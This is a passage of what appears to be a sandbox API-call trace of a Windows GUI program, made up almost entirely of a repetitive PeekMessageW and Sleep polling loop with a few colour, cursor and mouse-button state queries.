returned 1342179332 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetSysColor (nIndex=8) returned 0x0 [0051.252] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.252] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0051.253] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.253] TranslateMessage (lpMsg=0xd72f04f6a0) returned 0 [0051.253] DispatchMessageW (lpMsg=0xd72f04f6a0) returned 0x0 [0051.253] GetForegroundWindow () returned 0xc018a [0051.253] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.253] GetCursorPos (in: lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500*(x=528, y=533)) returned 1 [0051.253] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500) returned 1 [0051.253] GetAsyncKeyState (vKey=1) returned 0 [0051.253] GetAsyncKeyState (vKey=2) returned 0 [0051.253] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] CreateAcceleratorTableW (paccel=0xd72f23a580, cAccel=1) returned 0x2a01c7 [0051.254] GetForegroundWindow () returned 0xc018a [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.254] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.255] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.255] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.255] Sleep (dwMilliseconds=0x0) [0051.255] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.255] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.255] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.256] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.256] Sleep (dwMilliseconds=0x0) [0051.263] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.263] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.263] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.263] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.263] Sleep (dwMilliseconds=0x0) [0051.263] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] Sleep (dwMilliseconds=0x0) [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] Sleep (dwMilliseconds=0x0) [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.264] Sleep (dwMilliseconds=0x0) [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] Sleep (dwMilliseconds=0x0) [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.265] Sleep (dwMilliseconds=0x0) [0051.265] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] Sleep (dwMilliseconds=0x0) [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.266] Sleep (dwMilliseconds=0x0) [0051.266] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] Sleep (dwMilliseconds=0x0) [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] Sleep (dwMilliseconds=0x0) [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.267] Sleep (dwMilliseconds=0x0) [0051.267] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] Sleep (dwMilliseconds=0x0) [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] Sleep (dwMilliseconds=0x0) [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.268] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] Sleep (dwMilliseconds=0x0) [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] Sleep (dwMilliseconds=0x0) [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.269] Sleep (dwMilliseconds=0x0) [0051.269] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] Sleep (dwMilliseconds=0x0) [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] Sleep (dwMilliseconds=0x0) [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.270] Sleep (dwMilliseconds=0x0) [0051.271] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.276] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.276] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] Sleep (dwMilliseconds=0x0) [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] Sleep (dwMilliseconds=0x0) [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.277] Sleep (dwMilliseconds=0x0) [0051.277] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] Sleep (dwMilliseconds=0x0) [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.278] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: 